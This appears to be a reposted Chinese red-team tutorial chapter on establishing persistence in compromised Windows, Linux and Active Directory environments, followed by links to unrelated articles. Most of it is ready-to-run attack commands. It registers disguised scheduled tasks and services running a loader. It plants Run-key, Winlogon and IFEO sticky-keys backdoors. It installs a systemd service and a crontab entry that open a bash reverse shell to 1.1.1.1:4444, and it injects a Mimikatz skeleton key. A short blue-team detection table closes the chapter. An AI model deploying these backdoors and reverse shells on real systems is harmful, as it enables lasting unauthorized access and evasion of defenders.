当前位置: 首页 > news >正文

第四部分:持久化与防御规避

第九章:权限维持

核心逻辑:权限维持(Persistence)是红队在目标网络中建立长期立足点的关键。本章重点在于利用系统合法机制进行驻留,确保在系统重启、密码更改或漏洞修复后,仍能重新获得访问权限。


9.1 Windows 权限维持

9.1.1 计划任务 (Scheduled Tasks)

原理:利用 Windows Task Scheduler 在特定时间或事件下执行恶意载荷。

优势:稳定、隐蔽、权限高。

类型

命令示例

特点

创建任务

schtasks /create /sc minute /mo 1 /tn "WindowsUpdate" /tr "C:\temp\loader.exe" /ru SYSTEM

每分钟执行一次,SYSTEM 权限。

XML 配置

schtasks /create /xml task.xml /tn "GoogleUpdate"

使用 XML 文件精细控制触发器(如用户登录)。

COM 劫持

修改HKCU\Software\Classes\CLSID\{...}\InprocServer32

当特定程序调用 COM 组件时触发。

9.1.2 服务 (Services)

原理:将恶意程序注册为系统服务。

类型

命令示例

特点

创建服务

sc create "WindowsDefender" binPath= "C:\temp\loader.exe" start= auto

开机自启,SYSTEM 权限。

修改服务

sc config "Spooler" binPath= "C:\temp\loader.exe"

劫持合法服务(危险,易导致系统故障)。

9.1.3 注册表 (Registry)

原理:利用系统启动项或文件关联执行。

位置

说明

命令示例

Run Keys

用户登录时执行。

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater" /t REG_SZ /d "C:\temp\loader.exe"

Winlogon Helper

登录/注销时执行。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "userinit.exe,C:\temp\loader.exe"

Image File Execution Options (IFEO)

调试器劫持(如sethc.exe粘滞键后门)。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "cmd.exe"


9.2 Linux 权限维持

9.2.1 Systemd Services

原理:现代 Linux 发行版的标准初始化系统。

# 1. 创建服务文件 cat > /etc/systemd/system/systemd-update.service << EOF [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=/bin/bash -c "bash -i >& /dev/tcp/1.1.1.1/4444 0>&1" Restart=always RestartSec=60 [Install] WantedBy=multi-user.target EOF # 2. 启用并启动 systemctl daemon-reload systemctl enable systemd-update.service systemctl start systemd-update.service
9.2.2 Cron Jobs

原理:定时任务,最经典的维持方式。

位置

说明

/etc/crontab

系统级定时任务。

/var/spool/cron/root

Root 用户任务。

@reboot

系统重启时执行。

# 每5分钟反弹一次 Shell echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/1.1.1.1/4444 0>&1'" >> /etc/crontab
9.2.3 SSH 公钥植入

原理:无需密码,直接登录。

# 将公钥写入 authorized_keys mkdir -p /root/.ssh echo "ssh-rsa AAAA... your_key" >> /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys

9.3 域环境权限维持

9.3.1 DSRM (Directory Services Restore Mode)

原理:利用域控的还原模式账户(本地 Administrator)进行维持。

操作

  1. 获取 DSRM 密码(通常与域管理员相同)。

  2. 修改注册表允许 DSRM 账户远程登录。

  3. 使用 DSRM 账户登录域控,即使域管理员密码更改也有效。

9.3.2 Skeleton Key (万能钥匙)

原理:在域控内存中注入一个“万能密码”,允许使用任意用户名 + 万能密码登录。

工具:Mimikatz。

命令mimikatz # !processprotect /process:lsass.exe /remove->mimikatz # misc::skeleton

9.3.3 AdminSDHolder

原理:修改 AdminSDHolder 容器的 ACL,赋予特定用户域管权限。系统每 60 分钟会自动同步一次,将该权限应用到所有受保护的域管组。


9.4 防御视角(给蓝队)

技术

检测方法

加固建议

计划任务

schtasks /query /fo LIST /v
检查异常任务名、路径、作者。

限制普通用户创建任务;监控 Task Scheduler 日志。

服务

sc query
检查binPath是否指向异常目录。

启用服务变更审计;限制非系统服务路径。

注册表

Autoruns (Sysinternals)
扫描 Run Keys 和 IFEO。

限制注册表编辑权限;启用 Sysmon 监控注册表事件。

SSH 公钥

定期检查~/.ssh/authorized_keys

使用 SSH 证书认证,禁用密码登录。

域环境

Event ID 4662:目录服务访问。
Event ID 5136:目录服务对象修改。

定期重置 DSRM 密码;监控 LSASS 内存异常。

http://www.jsqmd.com/news/805248/

相关文章:

  • 3个关键步骤:用CoverM轻松完成PacBio HiFi宏基因组覆盖率分析
  • 终极开源镜像烧录解决方案:Etcher让你的设备部署变得如此简单
  • v7人像细节崩坏?皮肤纹理失真?面部比例错乱?——Midjourney官方未公开的3类prompt结构陷阱与实时修复方案
  • 别再乱加allow了!Android SELinux权限配置避坑指南(附audit2allow实战)
  • DataGrip实战:从零到一掌握数据库Schema的创建、关联与清理
  • 零基础学用语音转文字服务避坑指南,包教包会
  • 移动端适配完全指南:响应式布局与适配方案
  • 5分钟掌握Word文档转换神器:Mammoth.js让办公文档处理智能化
  • 专业逆向工程:Ghidra完整安装配置与性能调优指南
  • Cognize-Agent™空间智能体,98.5%故障预警准确率,终结非计划停机
  • 别再只会插拔了!深入浅出聊聊SD卡与单片机通信的‘暗号’:命令、响应与数据块
  • FastGithub终极指南:如何5分钟实现GitHub访问速度翻倍
  • 小型工厂用什么进销存软件?实测推荐管家通进销存工业版
  • 如何快速解锁Adobe全家桶:5分钟完成免费激活的终极指南 [特殊字符]
  • 软件设计师下午题训练1-3题 练习真题训练10
  • 植物大战僵尸(花园战争版 音游版 植物大战僵尸2国服破解版)2026.5.11重磅更新最新版免费下载 手机电脑均可下(看到赶紧转存 资源随时失效)
  • 网络请求优化实战:让你的应用加载更快
  • QQ截图独立版终极指南:免费高效的Windows截图与OCR识别工具完全解析
  • 国家中小学智慧教育平台电子课本下载终极指南:如何快速获取PDF教材资源
  • 别再折腾Anaconda了!用PyCharm 2024.1自带工具5分钟搞定TensorFlow 2.15 + Keras 3环境
  • aibot安卓
  • Node.js 异步日志记录如何配置 Winston transports 避免阻塞主线程写入
  • 音频编码实战指南:从无损PCM到高效AAC的选型与应用
  • 原生JavaScript日历组件calendar.js:如何用15KB代码重塑日期交互体验?
  • Sora 2与3D Gaussian结合实战指南(工业级部署避坑手册)
  • 3分钟搞定Word论文格式:APA第7版终极解决方案
  • 如何用91160-cli实现医疗挂号自动化:技术原理与实战指南
  • 四无范式颠覆传统:无标签 / 无基站 / 无穿戴 / 无信号,纯视觉驱动智造升级
  • 量子相位估计在NISQ时代的优化:PFA-TQFT算法解析
  • 实战指南:5分钟掌握ImageToSTL,轻松将照片变成立体模型